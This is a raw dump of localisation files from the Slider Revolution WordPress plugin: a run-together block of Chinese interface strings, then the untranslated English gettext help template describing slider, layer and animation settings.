            如果您要显示单个YouTube视频,请选择内容源“默认Slider”并添加视频图层幻灯片编辑器。ThemePunchThemePunch服务器本指南将帮助您了解Slider Revolution 6模块的基本配置*。这个月此来源类型必须来自帖子。此操作无法撤消 !!这可以仅在当前会话中取消。三个尖刺拇指类型缩略图大拇指大拇指风格拇指可见性时间线时间线时间轴滚动时间轴基于滚动定时器暂停计时器恢复标题标题降序标题已更新至致管理员致编辑,管理员至Slide用它作为弹出页面和帖子编辑器插入短代码:添加slider仅限单页 ,使用:添加slider只到主页 ,使用:今天切换切换“N / M ”帧切换第一帧/最后一帧切换Class在打开和关闭时切换文档正文类弹出切换全屏切换媒体切换静音所有媒体切换静音媒体切换Slider切换开始状态切换(可见)切换为悬停风格明天最佳触摸变换空闲转变透明触发记忆触发触发TwitterTwitter @Twitter ExtrasTwitter设置两个尖刺类型类型类型和类别URLUSUSA取消绑定所有侦听器,删除当前动画并删除容器。准备垃圾收集。在面具下强调全部解锁取消静音媒体未公布未注册不可选择未分类未遮挡(隐藏)上/下箭头键全部更新更新历史记录稍后更新更新清单现在更新更新插件更新行更新更新,新产品,聚光灯更新更新列表更新插件失败更新插件......更新插件可能需要一些时间。上传最大。文件大小(256M)上传文件夹可写大写使用剪辑路径使用封面使用自定义大小使用默认值...使用全屏或全宽布局使用固定滚动。使用图片仅在列中使用LineBreaks使用掩蔽使用幻灯片循环使用切换使用WPML设置用户用户名:用户Photoset用户公开照片用户网址:用户名使用此数据仅允许使用jQuery Slider Revolution插件的有效许可证,该插件可在CodeCanyon上找到:http://codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunch视频速度垂直垂直对齐视频视频API视频ID视频设置无法加载视频封面如果存在,来自Stream的视频Stream中的视频(如果存在)视频有效Slide视频正在播放正在播放视频slider视频已停止视频停在了slider影片查看%s所有帖子ViewPort停止查看Vimeo的Vimeo ExtrasVimeo IDVimeo设置Vimeo ThumbVimeo视频能见度可见可见金额在导航中可见访问页面等待WC类别1,WC类别2WC标签1,WC标签2,WC标签3WEBMWPML等待等待API等待行动警告欢迎来到Slider Revolution 6接下来会发生什么?什么是新的?你想在哪里移动继承层?宽度属性基于宽度WooCommerceWooCommerce基础知识WooCommerce价格WooCommerce评级WooCommerce股票字WordPress库Wordpress多语言WrapperWrapper ClassesWrapper 容器Wrapper IDWrapper 最大高度Wrapping Tag错误的请求错误的类别格式错误的出口slider 文件格式!请确保上传的文件是zip文件,其根目录中包含正确的slider_export.txt或有效的slider_export.txt文件。错误的要求!X% Y%是的,删除所有Slider(s)是的,删除Slide是的,删除Slider是的, 出口Slider你正在运行Slider RevolutionYouTube的YouTube ExtrasYouTube IDYouTube海报YouTube设置YouTube拇指YouTube视频的YoutubeYoyoZ位置放大缩小_blank_parent_self_top和/要么 将当前页面添加到如HTML文献汽车通过Container按PX或%center bottomcenter centercenter topclass Name to Toggle分开的清单:23,24,25找不到正确的幻灯片复制,请再试一次。enter-a-module-name从http://yoursite.com/addtocart.phphttp://yoursite.com/homehttp://yoursite.com/pagehttp://yoursite.com/posthttp://yoursite/media/avatar.jpghttp://yoursite/user/pagehttp://yoursite/user/posthttps://revolution.themepunch.com/https://themepunch.com/i.e. 0:15i.e. 1200i.e. 2:41ie. http://fonts.useso.com/css?family 中国环境在Slider Revolution的“全球设置”中。jQuery和OutPut过滤器jQuery没有冲突模式jQuery触发javaScript函数左下角离开中心左上角没有在行动要么右下角正确的中心右上角slider_export.txt不存在!至x1.5x2xxxx xxxx xxxx xxxxyoutube,vimeo,html5zIndexlanguages/revsliderhelp.pot000060400000463105151724235750012126 0ustar00#, fuzzy msgid "" msgstr "" "Project-Id-Version: Slider Revolution Help\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-06-28 07:45+0000\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: \n" "Language: \n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.2.2; wp-5.2.2" #: admin/includes/help.class.php:6007 msgid "" "'Default' will use the Slider's Lazy Load setting, 'Force' will LazyLoad the " "image regardless of the Slider's settings, and 'Ignore' will set LazyLoad to " "off regardless of the Slider's settings." msgstr "" #: admin/includes/help.class.php:1803 msgid "" "'wait' to initialize the Slider when its inside the viewport, or 'pause' the " "Slider's progress until its inside the viewport" msgstr "" #: admin/includes/help.class.php:7319 msgid "" "'Wrapper Container' is the Layer's outer-most HTML wrapper div, and 'Layer " "Container' is the content's main div" msgstr "" #: admin/includes/help.class.php:7867 admin/includes/help.class.php:8410 #: admin/includes/help.class.php:9864 msgid "2D Rotation" msgstr "" #: admin/includes/help.class.php:2544 msgid "3D Crop Fix" msgstr "" #: admin/includes/help.class.php:2480 msgid "3D Shadow" msgstr "" #: admin/includes/help.class.php:178 msgid "60+ pre-built animations, animation duration, easing" msgstr "" #: admin/includes/help.class.php:3213 msgid "A delay in milliseconds before the Arrows animate into view" msgstr "" #: admin/includes/help.class.php:3528 msgid "A delay in milliseconds before the Bullets animate into view" msgstr "" #: admin/includes/help.class.php:4009 msgid "A delay in milliseconds before the Tabs animate into view" msgstr "" #: admin/includes/help.class.php:4490 msgid "A delay in milliseconds before the Thumbs animate into view" msgstr "" #: admin/includes/help.class.php:275 msgid "A single-slide Slider with no navigation" msgstr "" #: admin/includes/help.class.php:5838 msgid "A Slide description for certain navigation types" msgstr "" #: admin/includes/help.class.php:267 msgid "A Slider that can have multiple slides with navigation" msgstr "" #: admin/includes/help.class.php:2992 msgid "" "A special shortcode for the Module when loading it as a Modal in the page " "with custom JavaScript" msgstr "" #: admin/includes/help.class.php:1256 msgid "Access Secret" msgstr "" #: admin/includes/help.class.php:1243 msgid "Access Token" msgstr "" #: admin/includes/help.class.php:10195 msgid "Action Delay" msgstr "" #: admin/includes/help.class.php:10181 msgid "Action Type" msgstr "" #: admin/includes/help.class.php:9654 msgid "Activate mouse hover styles/transitions" msgstr "" #: admin/includes/help.class.php:57 msgid "Activate Responsive Viewports" msgstr "" #: admin/includes/help.class.php:352 msgid "Activates a responsive height for the Slider" msgstr "" #: admin/includes/help.class.php:216 msgid "Active/Enable Addons" msgstr "" #: admin/includes/help.class.php:7252 msgid "" "Add a rotateX transform to the currently " "selected Layer" msgstr "" #: admin/includes/help.class.php:7265 msgid "" "Add a rotateY transform to the currently " "selected Layer" msgstr "" #: admin/includes/help.class.php:7278 msgid "" "Add a rotateZ transform to the currently " "selected Layer" msgstr "" #: admin/includes/help.class.php:7306 msgid "" "Add a CSS box-shadow to the currently selected Layer" msgstr "" #: admin/includes/help.class.php:7399 msgid "" "Add a CSS text-shadow to the currently selected Layer" msgstr "" #: admin/includes/help.class.php:9035 msgid "Add a Bezier Curve" msgstr "" #: admin/includes/help.class.php:6956 msgid "Add a border to the Layer's HTML element" msgstr "" #: admin/includes/help.class.php:8805 msgid "Add a continuously looping animation to the Layer" msgstr "" #: admin/includes/help.class.php:2130 msgid "Add a CSS border-radius to the carousel items (px)" msgstr "" #: admin/includes/help.class.php:6558 msgid "" "Add a linebreak after the currently selected Layer. Useful when floats are " "used." msgstr "" #: admin/includes/help.class.php:6551 msgid "" "Add a linebreak before the currently selected Layer. Useful when floats are " "used." msgstr "" #: admin/includes/help.class.php:5494 msgid "Add a link to the entire Slide area" msgstr "" #: admin/includes/help.class.php:7928 msgid "Add a mask to the Layer which is useful for wipe/reveal type animations" msgstr "" #: admin/includes/help.class.php:5079 admin/includes/help.class.php:6180 msgid "Add a mesh-style overlay to the video for extra styling" msgstr "" #: admin/includes/help.class.php:3005 msgid "" "Add a progress bar to the Slider to display a visual representation of each " "Slide's timeline" msgstr "" #: admin/includes/help.class.php:160 msgid "Add a variety of content to your Slides" msgstr "" #: admin/includes/help.class.php:633 msgid "Add an mesh-style overlay to the Slider" msgstr "" #: admin/includes/help.class.php:2984 msgid "" "Add an optional class name to the page's body element when the Module is " "loaded as a Modal" msgstr "" #: admin/includes/help.class.php:10198 msgid "Add an optional delay before the Action occurs (in milliseconds)" msgstr "" #: admin/includes/help.class.php:1542 msgid "Add an optional delay before the Slider officially loads" msgstr "" #: admin/includes/help.class.php:1510 admin/includes/help.class.php:1518 #: admin/includes/help.class.php:1526 msgid "" "Add an optional ID for the Slider. Will be applied to the Slider's outer " "HTML wrapper element" msgstr "" #: admin/includes/help.class.php:5467 msgid "" "Add an optional ID to the Slide to target the Slide with custom CSS or " "JavaScript" msgstr "" #: admin/includes/help.class.php:6673 msgid "Add an text underline to the currently selected Layer's text" msgstr "" #: admin/includes/help.class.php:10831 msgid "" "Add class names to the Layer to target it with custom CSS/JavaScript " "(separate multiple class names with spaces)" msgstr "" #: admin/includes/help.class.php:10896 msgid "" "Add class names to the Layer's outer-most wrapper to target it with custom " "CSS/JavaScript (separate multiple class names with spaces)" msgstr "" #: admin/includes/help.class.php:7508 msgid "Add creative edges and corners to the left side of your content" msgstr "" #: admin/includes/help.class.php:7540 msgid "Add creative edges and corners to the right side of your content" msgstr "" #: admin/includes/help.class.php:7495 msgid "Add creative edges and corners to your content" msgstr "" #: admin/includes/help.class.php:649 msgid "Add extra spacing around the Slider" msgstr "" #: admin/includes/help.class.php:6660 msgid "Add italics to the currently selected Layer's text" msgstr "" #: admin/includes/help.class.php:6555 msgid "Add Linebreak After" msgstr "" #: admin/includes/help.class.php:6548 msgid "Add Linebreak Before" msgstr "" #: admin/includes/help.class.php:8802 msgid "Add Loop Animation" msgstr "" #: admin/includes/help.class.php:157 msgid "Add New Layer" msgstr "" #: admin/includes/help.class.php:107 msgid "Add New Slide" msgstr "" #: admin/includes/help.class.php:5455 msgid "" "Add optional class names to the Slide to target the Slide with custom CSS or " "JavaScript" msgstr "" #: admin/includes/help.class.php:2920 msgid "Add your own custom CSS to the Slider" msgstr "" #: admin/includes/help.class.php:2928 msgid "Add your own custom JavaScript to the Slider" msgstr "" #: admin/includes/help.class.php:661 msgid "Add your own custom text/images/video to the Slider" msgstr "" #: admin/includes/help.class.php:110 msgid "add/duplicate/delete Slides" msgstr "" #: admin/includes/help.class.php:168 msgid "Add/Edit content that's meant to always be visible" msgstr "" #: admin/includes/help.class.php:206 msgid "Add/Remove Links" msgstr "" #: admin/includes/help.class.php:209 msgid "" "Add/Remove links to additional slides, other web pages/posts or external " "websites" msgstr "" #: admin/includes/help.class.php:227 msgid "" "AddOn Settings will be located in the Slider, Slide or Layer settings " "depending on the AddOns functionality" msgstr "" #: admin/includes/help.class.php:9038 msgid "" "Adds a middle point to the movement between the starting and ending points" msgstr "" #: admin/includes/help.class.php:3018 msgid "Adjust the color for the progress bar" msgstr "" #: admin/includes/help.class.php:9722 msgid "Adjust the Layer's background color on mouse hover" msgstr "" #: admin/includes/help.class.php:7291 msgid "Adjust the opacity/transparency for the currently selected Layer" msgstr "" #: admin/includes/help.class.php:3665 msgid "Adjust the size colors and other styles for the bullets" msgstr "" #: admin/includes/help.class.php:4146 msgid "Adjust the size colors and other styles for the tabs" msgstr "" #: admin/includes/help.class.php:100 msgid "Adjust the size of text and images for each reponsive viewport" msgstr "" #: admin/includes/help.class.php:1324 msgid "Album" msgstr "" #: admin/includes/help.class.php:3096 admin/includes/help.class.php:3411 #: admin/includes/help.class.php:3744 admin/includes/help.class.php:4225 #: admin/includes/help.class.php:7179 msgid "Align By Slider/Content" msgstr "" #: admin/includes/help.class.php:7091 msgid "Align the Layer horizontally to the Slider content or the entire Slider" msgstr "" #: admin/includes/help.class.php:7104 msgid "Align the Layer vertically to the Slider content or the entire Slider" msgstr "" #: admin/includes/help.class.php:386 msgid "" "Align the Slider to the left, center or right inside its parent container" msgstr "" #: admin/includes/help.class.php:3112 admin/includes/help.class.php:3427 #: admin/includes/help.class.php:3776 admin/includes/help.class.php:4257 msgid "Alignment" msgstr "" #: admin/includes/help.class.php:1829 msgid "" "Allocate space on the page for the Slider to prevent page content jumps when " "the Slider loads" msgstr "" #: admin/includes/help.class.php:368 msgid "Allow for content to be visible outside the Slider's bounding box" msgstr "" #: admin/includes/help.class.php:6272 msgid "Allow Fullscreen" msgstr "" #: admin/includes/help.class.php:6275 msgid "Allow the video to be taken fullscreen by the user" msgstr "" #: admin/includes/help.class.php:4907 msgid "Alt Attribute" msgstr "" #: admin/includes/help.class.php:1984 msgid "Alternate First Slide" msgstr "" #: admin/includes/help.class.php:2862 msgid "Alternative Image" msgstr "" #: admin/includes/help.class.php:2870 msgid "Alternative Image URL" msgstr "" #: admin/includes/help.class.php:5131 msgid "Always play the video from the beginning each time the Slide is shown" msgstr "" #: admin/includes/help.class.php:6301 msgid "" "Always play the video/audio from the beginning each time the Slide is shown" msgstr "" #: admin/includes/help.class.php:7629 msgid "" "An additional animation to add to the Layer after its already animated into " "view" msgstr "" #: admin/includes/help.class.php:4816 msgid "An image url to be used as the Slide's main background image" msgstr "" #: admin/includes/help.class.php:5338 msgid "An Instagram-type filter to apply to the Slide's main background image" msgstr "" #: admin/includes/help.class.php:5324 msgid "An optional rotation to apply to the Slide's transition" msgstr "" #: admin/includes/help.class.php:7626 msgid "Animate Again To..." msgstr "" #: admin/includes/help.class.php:8138 msgid "Animate Background Color" msgstr "" #: admin/includes/help.class.php:8174 msgid "Animate characters, words or lines of text" msgstr "" #: admin/includes/help.class.php:2627 msgid "Animate Layers on Scroll" msgstr "" #: admin/includes/help.class.php:8107 msgid "Animate Text Color" msgstr "" #: admin/includes/help.class.php:8486 msgid "Animate the Char animation's blur, grayscale or brightness filter" msgstr "" #: admin/includes/help.class.php:8786 msgid "" "Animate the Layer back to its starting values in the loop once the last " "frame is reached. Useful for creating a more natural looping visual." msgstr "" #: admin/includes/help.class.php:8951 msgid "" "Animate the Layer to this 'x' (left) position. Accepts positive and " "negative numbers." msgstr "" #: admin/includes/help.class.php:8985 msgid "" "Animate the Layer to this 'y' (top) position. Accepts positive and negative " "numbers." msgstr "" #: admin/includes/help.class.php:9019 msgid "" "Animate the Layer's CSS " "translateZ property to this value. This adds/removes 3D depth to the " "Layer" msgstr "" #: admin/includes/help.class.php:8141 msgid "Animate the Layer's background color" msgstr "" #: admin/includes/help.class.php:8043 msgid "Animate the Layer's blur, grayscale or brightness filter" msgstr "" #: admin/includes/help.class.php:2630 msgid "" "Animate the Layer's by default on Scroll (can then be turned off per Layer " "in the Layer settings)" msgstr "" #: admin/includes/help.class.php:8110 msgid "Animate the Layer's text color" msgstr "" #: admin/includes/help.class.php:8634 msgid "Animate the line animation's blur, grayscale or brightness filter" msgstr "" #: admin/includes/help.class.php:8560 msgid "Animate the word animation's blur, grayscale or brightness filter" msgstr "" #: admin/includes/help.class.php:8783 msgid "Animate to Start" msgstr "" #: admin/includes/help.class.php:5285 msgid "Animation 'In' Easing" msgstr "" #: admin/includes/help.class.php:5297 msgid "Animation 'Out' Easing" msgstr "" #: admin/includes/help.class.php:8831 msgid "Animation Duration" msgstr "" #: admin/includes/help.class.php:2601 admin/includes/help.class.php:7692 #: admin/includes/help.class.php:8218 admin/includes/help.class.php:8847 msgid "Animation Easing" msgstr "" #: admin/includes/help.class.php:7666 msgid "Animation Name" msgstr "" #: admin/includes/help.class.php:2614 admin/includes/help.class.php:7679 msgid "Animation Speed" msgstr "" #: admin/includes/help.class.php:10508 msgid "Animation Timing" msgstr "" #: admin/includes/help.class.php:979 admin/includes/help.class.php:1098 #: admin/includes/help.class.php:1152 admin/includes/help.class.php:1284 #: admin/includes/help.class.php:1381 admin/includes/help.class.php:1465 msgid "API Cache" msgstr "" #: admin/includes/help.class.php:992 admin/includes/help.class.php:1394 msgid "API Key" msgstr "" #: admin/includes/help.class.php:1006 admin/includes/help.class.php:1111 msgid "API Source" msgstr "" #: admin/includes/help.class.php:5926 msgid "" "Aply a grayscale filter to Layers as the page scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:1340 msgid "App ID" msgstr "" #: admin/includes/help.class.php:1353 msgid "App Secret" msgstr "" #: admin/includes/help.class.php:2547 msgid "Applies a translateZ to the 3D elements to help avoid overlapping" msgstr "" #: admin/includes/help.class.php:2269 msgid "Apply a 3D rotation to the non-active items" msgstr "" #: admin/includes/help.class.php:2667 msgid "" "Apply a black and white filter to the Slider when it scrolls into and out of " "view" msgstr "" #: admin/includes/help.class.php:2681 msgid "Apply a blur filter to the Slider when it scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:402 msgid "Apply a bottom margin to the Slider (px)" msgstr "" #: admin/includes/help.class.php:2483 msgid "Apply a box-shadow to the 3D element to enhance the effect" msgstr "" #: admin/includes/help.class.php:10128 msgid "" "Apply a mask to the Layer as the Parallax Effect takes place. When applied, " "the content will never bleed outside this mask." msgstr "" #: admin/includes/help.class.php:394 msgid "Apply a top margin to the Slider (px)" msgstr "" #: admin/includes/help.class.php:7976 msgid "" "Apply and animate a CSS clip-path to the Layer. Useful for creating 'wipe' " "animations" msgstr "" #: admin/includes/help.class.php:2239 msgid "Apply opacity to the non-activate Slides" msgstr "" #: admin/includes/help.class.php:7316 msgid "Apply Shadow to" msgstr "" #: admin/includes/help.class.php:2646 msgid "Apply special effects to your content when the page is scrolled" msgstr "" #: admin/includes/help.class.php:2711 msgid "Apply the effect(s) to all Layers" msgstr "" #: admin/includes/help.class.php:2724 msgid "Apply the effect(s) to all Parallax Layers" msgstr "" #: admin/includes/help.class.php:2737 msgid "Apply the effect(s) to the Slide's main background" msgstr "" #: admin/includes/help.class.php:2750 msgid "Apply the effect(s) to the Slide's Static/Global Layers" msgstr "" #: admin/includes/help.class.php:2763 msgid "Apply the effect(s) to the Slide's Static/Global Parallax Layers" msgstr "" #: admin/includes/help.class.php:2778 msgid "" "Apply the effect(s) when the page is scrolled from the top, bottom, or both " "directions" msgstr "" #: admin/includes/help.class.php:2252 msgid "Apply varying opacity to the non-activate Slides in staggered order" msgstr "" #: admin/includes/help.class.php:2298 msgid "Apply varying rotations to the non-activate Slides in staggered order" msgstr "" #: admin/includes/help.class.php:2344 msgid "Apply varying scale/zooms to the non-activate Slides in staggered order" msgstr "" #: admin/includes/help.class.php:1813 msgid "Area %" msgstr "" #: admin/includes/help.class.php:3160 msgid "Arrows Animation" msgstr "" #: admin/includes/help.class.php:3194 msgid "Arrows Animation Speed" msgstr "" #: admin/includes/help.class.php:3210 msgid "Arrows Show Delay" msgstr "" #: admin/includes/help.class.php:3079 msgid "Arrows Type/Style" msgstr "" #: admin/includes/help.class.php:5063 admin/includes/help.class.php:6138 msgid "Aspect Ratio" msgstr "" #: admin/includes/help.class.php:291 msgid "Auto" msgstr "" #: admin/includes/help.class.php:9052 msgid "Auto Rotate Bezier" msgstr "" #: admin/includes/help.class.php:1842 msgid "Auto Rotate Slideshow" msgstr "" #: admin/includes/help.class.php:3230 msgid "" "Auto-hide the arrows after a set amount of time (will be shown again when " "the user hovers/taps the Slider)" msgstr "" #: admin/includes/help.class.php:3545 msgid "" "Auto-hide the bullets after a set amount of time (will be shown again when " "the user hovers/taps the Slider)" msgstr "" #: admin/includes/help.class.php:4026 msgid "" "Auto-hide the tabs after a set amount of time (will be shown again when the " "user hovers/taps the Slider)" msgstr "" #: admin/includes/help.class.php:4507 msgid "" "Auto-hide the thumbs after a set amount of time (will be shown again when " "the user hovers/taps the Slider)" msgstr "" #: admin/includes/help.class.php:5144 admin/includes/help.class.php:6374 msgid "Auto-mute the video each time the Slide is shown" msgstr "" #: admin/includes/help.class.php:1625 admin/includes/help.class.php:10709 msgid "" "Automatically adjust the positioning for Layers for each responsive device " "viewport" msgstr "" #: admin/includes/help.class.php:1617 admin/includes/help.class.php:10696 msgid "Automatically resize Layers for each responsive device viewport" msgstr "" #: admin/includes/help.class.php:10670 msgid "" "Automatically resize/reposition all Layers for each device viewport inside " "the editor" msgstr "" #: admin/includes/help.class.php:1609 admin/includes/help.class.php:10657 msgid "" "Automatically resize/reposition new Layers for each device viewport inside " "the editor" msgstr "" #: admin/includes/help.class.php:9055 msgid "" "Automatically rotate the Layer according to its position along the Bezier " "path" msgstr "" #: admin/includes/help.class.php:6151 msgid "Autoplay" msgstr "" #: admin/includes/help.class.php:6778 msgid "Background Color" msgstr "" #: admin/includes/help.class.php:8151 msgid "Background Color Value" msgstr "" #: admin/includes/help.class.php:2496 msgid "Background Enabled" msgstr "" #: admin/includes/help.class.php:4853 msgid "Background Fit" msgstr "" #: admin/includes/help.class.php:6791 msgid "Background Image" msgstr "" #: admin/includes/help.class.php:5335 msgid "Background Image Filter" msgstr "" #: admin/includes/help.class.php:2452 msgid "Background Image Speed" msgstr "" #: admin/includes/help.class.php:4879 admin/includes/help.class.php:5595 msgid "Background Position" msgstr "" #: admin/includes/help.class.php:4866 msgid "Background Repeat" msgstr "" #: admin/includes/help.class.php:9070 msgid "Bezier Curve Angle" msgstr "" #: admin/includes/help.class.php:9088 msgid "Bezier Curve Tension" msgstr "" #: admin/includes/help.class.php:9124 msgid "Bezier End Point X" msgstr "" #: admin/includes/help.class.php:9160 msgid "Bezier End Point Y" msgstr "" #: admin/includes/help.class.php:9196 msgid "Bezier End Point Z" msgstr "" #: admin/includes/help.class.php:9106 msgid "Bezier Start Point X" msgstr "" #: admin/includes/help.class.php:9142 msgid "Bezier Start Point Y" msgstr "" #: admin/includes/help.class.php:9178 msgid "Bezier Start Point Z" msgstr "" #: admin/includes/help.class.php:2560 msgid "BG 3D Depth" msgstr "" #: admin/includes/help.class.php:6817 msgid "BG Image Fit" msgstr "" #: admin/includes/help.class.php:6804 msgid "BG Image Position" msgstr "" #: admin/includes/help.class.php:6830 msgid "BG Image Repeat" msgstr "" #: admin/includes/help.class.php:580 msgid "BG Position" msgstr "" #: admin/includes/help.class.php:606 msgid "BG Repeat" msgstr "" #: admin/includes/help.class.php:2814 msgid "BG Strength" msgstr "" #: admin/includes/help.class.php:7463 msgid "Blend Mode Filter" msgstr "" #: admin/includes/help.class.php:2678 msgid "Blur" msgstr "" #: admin/includes/help.class.php:5915 msgid "Blur Effect" msgstr "" #: admin/includes/help.class.php:1775 admin/includes/help.class.php:5760 #: admin/includes/help.class.php:9561 msgid "Blur End" msgstr "" #: admin/includes/help.class.php:8053 admin/includes/help.class.php:8500 #: admin/includes/help.class.php:8574 admin/includes/help.class.php:8648 #: admin/includes/help.class.php:10070 msgid "Blur Filter" msgstr "" #: admin/includes/help.class.php:5918 msgid "Blur Layers in and out as the page scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:7355 admin/includes/help.class.php:7435 msgid "Blur Radius" msgstr "" #: admin/includes/help.class.php:1764 admin/includes/help.class.php:5744 #: admin/includes/help.class.php:9544 msgid "Blur Start" msgstr "" #: admin/includes/help.class.php:2691 msgid "Blur Value" msgstr "" #: admin/includes/help.class.php:2981 msgid "Body Class" msgstr "" #: admin/includes/help.class.php:7005 msgid "Border Bottom Size" msgstr "" #: admin/includes/help.class.php:9987 msgid "Border Bottom Width" msgstr "" #: admin/includes/help.class.php:6953 admin/includes/help.class.php:9934 msgid "Border Color" msgstr "" #: admin/includes/help.class.php:7018 msgid "Border Left Size" msgstr "" #: admin/includes/help.class.php:10000 msgid "Border Left Width" msgstr "" #: admin/includes/help.class.php:2127 msgid "Border Radius" msgstr "" #: admin/includes/help.class.php:7059 admin/includes/help.class.php:10041 msgid "Border Radius Bottom Left" msgstr "" #: admin/includes/help.class.php:7072 admin/includes/help.class.php:10054 msgid "Border Radius Bottom Right" msgstr "" #: admin/includes/help.class.php:7033 admin/includes/help.class.php:10015 msgid "Border Radius Top Left" msgstr "" #: admin/includes/help.class.php:7046 admin/includes/help.class.php:10028 msgid "Border Radius Top Right" msgstr "" #: admin/includes/help.class.php:6992 msgid "Border Right Size" msgstr "" #: admin/includes/help.class.php:9974 msgid "Border Right Width" msgstr "" #: admin/includes/help.class.php:6966 admin/includes/help.class.php:9947 msgid "Border Style" msgstr "" #: admin/includes/help.class.php:6979 msgid "Border Top Size" msgstr "" #: admin/includes/help.class.php:9961 msgid "Border Top Width" msgstr "" #: admin/includes/help.class.php:6471 msgid "Break At" msgstr "" #: admin/includes/help.class.php:8087 admin/includes/help.class.php:8536 #: admin/includes/help.class.php:8610 admin/includes/help.class.php:8684 #: admin/includes/help.class.php:10083 msgid "Brightness" msgstr "" #: admin/includes/help.class.php:9629 msgid "Brightness End" msgstr "" #: admin/includes/help.class.php:9612 msgid "Brightness Start" msgstr "" #: admin/includes/help.class.php:3493 msgid "Bullets Animation" msgstr "" #: admin/includes/help.class.php:3509 msgid "Bullets Animation Speed" msgstr "" #: admin/includes/help.class.php:3525 msgid "Bullets Show Delay" msgstr "" #: admin/includes/help.class.php:3362 msgid "Bullets Type/Style" msgstr "" #: admin/includes/help.class.php:1287 msgid "Cache the Facebook API results for faster loading" msgstr "" #: admin/includes/help.class.php:982 msgid "Cache the Flickr API results for faster loading" msgstr "" #: admin/includes/help.class.php:1101 msgid "Cache the Instagram API results for faster loading" msgstr "" #: admin/includes/help.class.php:1155 msgid "Cache the Twitter API results for faster loading" msgstr "" #: admin/includes/help.class.php:1468 msgid "Cache the Vimeo API results for faster loading" msgstr "" #: admin/includes/help.class.php:1384 msgid "Cache the YouTube API results for faster loading" msgstr "" #: admin/includes/help.class.php:10283 msgid "Call an external JavaScript function on user-interaction" msgstr "" #: admin/includes/help.class.php:10280 msgid "Call Back Function" msgstr "" #: admin/includes/help.class.php:2886 msgid "" "Call jQuery.noConflict() to help avoid conflicts with other themes/plugins" msgstr "" #: admin/includes/help.class.php:281 msgid "Carousel" msgstr "" #: admin/includes/help.class.php:115 msgid "Change Slide Order" msgstr "" #: admin/includes/help.class.php:2058 msgid "" "Change slides when the user navigates to a new window or tab and then " "returns to the page" msgstr "" #: admin/includes/help.class.php:9775 msgid "Change the Layer's transparency on mouse hover" msgstr "" #: admin/includes/help.class.php:118 msgid "Change the order in which the Slides appear" msgstr "" #: admin/includes/help.class.php:10372 msgid "Change to the next or previous Slide on user-interaction" msgstr "" #: admin/includes/help.class.php:5118 msgid "Change to the next Slide when the video ends" msgstr "" #: admin/includes/help.class.php:6288 msgid "Change to the next Slide when the video/audio ends" msgstr "" #: admin/includes/help.class.php:1407 msgid "Channel ID" msgstr "" #: admin/includes/help.class.php:2848 msgid "" "Choose 'All' to LazyLoad all images in the Slider when the Slider first " "lpads, 'Smart' to only LazyLoad the prev/next Slide's images, and 'Single' " "to only LazyLoad the current Slide's images." msgstr "" #: admin/includes/help.class.php:10265 msgid "" "Choose 'No Follow' to discourage search engines from indexing index the link" msgstr "" #: admin/includes/help.class.php:9696 msgid "" "Choose 'none' to disable user-interaction. Useful for enabling clicks on " "content placed beneath the Layer." msgstr "" #: admin/includes/help.class.php:744 msgid "" "Choose 'Post' to pull in a range of posts, 'Specific Post' to pull in posts " "by ID, or 'Current Post' to populate the Slider with the current post's " "content" msgstr "" #: admin/includes/help.class.php:7989 msgid "" "Choose 'Rectangle' or 'Circle' for traditional wipes from the sides, center " "or corners, and 'Inverts' for curtain-type reveals" msgstr "" #: admin/includes/help.class.php:3099 admin/includes/help.class.php:3414 #: admin/includes/help.class.php:3747 admin/includes/help.class.php:4228 #: admin/includes/help.class.php:7182 msgid "" "Choose 'Slider' to align based on the Slider's full display, or 'Content' to " "align against the Slider's grid area" msgstr "" #: admin/includes/help.class.php:8708 msgid "Choose a predefined special effect to use as the Layer's animation" msgstr "" #: admin/includes/help.class.php:3082 msgid "Choose a predefined style for the Arrows navigation" msgstr "" #: admin/includes/help.class.php:3365 msgid "Choose a predefined style for the Bullets navigation" msgstr "" #: admin/includes/help.class.php:3714 msgid "Choose a predefined style for the Tabs navigation" msgstr "" #: admin/includes/help.class.php:4195 msgid "Choose a predefined style for the Thumbnails navigation" msgstr "" #: admin/includes/help.class.php:5507 msgid "" "Choose a traditional link to the Slide to navigate to a new web page or " "another Slide" msgstr "" #: admin/includes/help.class.php:2017 msgid "Choose an alternate transition for the first Slide" msgstr "" #: admin/includes/help.class.php:641 msgid "Choose an optional shadow to add to the Slider" msgstr "" #: admin/includes/help.class.php:1274 msgid "Choose how many Slides should be created from the Facebook source" msgstr "" #: admin/includes/help.class.php:969 msgid "Choose how many Slides should be created from the Flickr source" msgstr "" #: admin/includes/help.class.php:1088 msgid "Choose how many Slides should be created from the Instagram source" msgstr "" #: admin/includes/help.class.php:1142 msgid "Choose how many Slides should be created from the Twitter source" msgstr "" #: admin/includes/help.class.php:1455 msgid "Choose how many Slides should be created from the Vimeo source" msgstr "" #: admin/includes/help.class.php:1371 msgid "Choose how many Slides should be created from the YouTube source" msgstr "" #: admin/includes/help.class.php:5966 msgid "Choose how text should wrap/break onto lines lines" msgstr "" #: admin/includes/help.class.php:2946 msgid "" "Choose how the Module should be horizontally aligned to the page when loaded " "as a Modal" msgstr "" #: admin/includes/help.class.php:2954 msgid "" "Choose how the Module should be vertically aligned to the page when loaded " "as a Modal" msgstr "" #: admin/includes/help.class.php:1550 msgid "Choose if Layers should be user-selectable by default" msgstr "" #: admin/includes/help.class.php:2531 msgid "" "Choose if Slide Layers can bleed outside the Slider's bounding box when " "skewed in 3D space" msgstr "" #: admin/includes/help.class.php:10169 msgid "" "Choose if the Action should occur on user-click, mouse-over or mouse-out" msgstr "" #: admin/includes/help.class.php:5981 msgid "" "Choose if the Image source should be populated by the Slide's social stream " "content" msgstr "" #: admin/includes/help.class.php:10528 msgid "" "Choose if the Layer's animation behavior should reset or not when the Slide " "replays again" msgstr "" #: admin/includes/help.class.php:10231 msgid "" "Choose if the link should be opened in the same window or in a new window" msgstr "" #: admin/includes/help.class.php:2434 msgid "" "Choose if the origin point for the effect should be the Layer's center, or " "based on where the user first hovered their 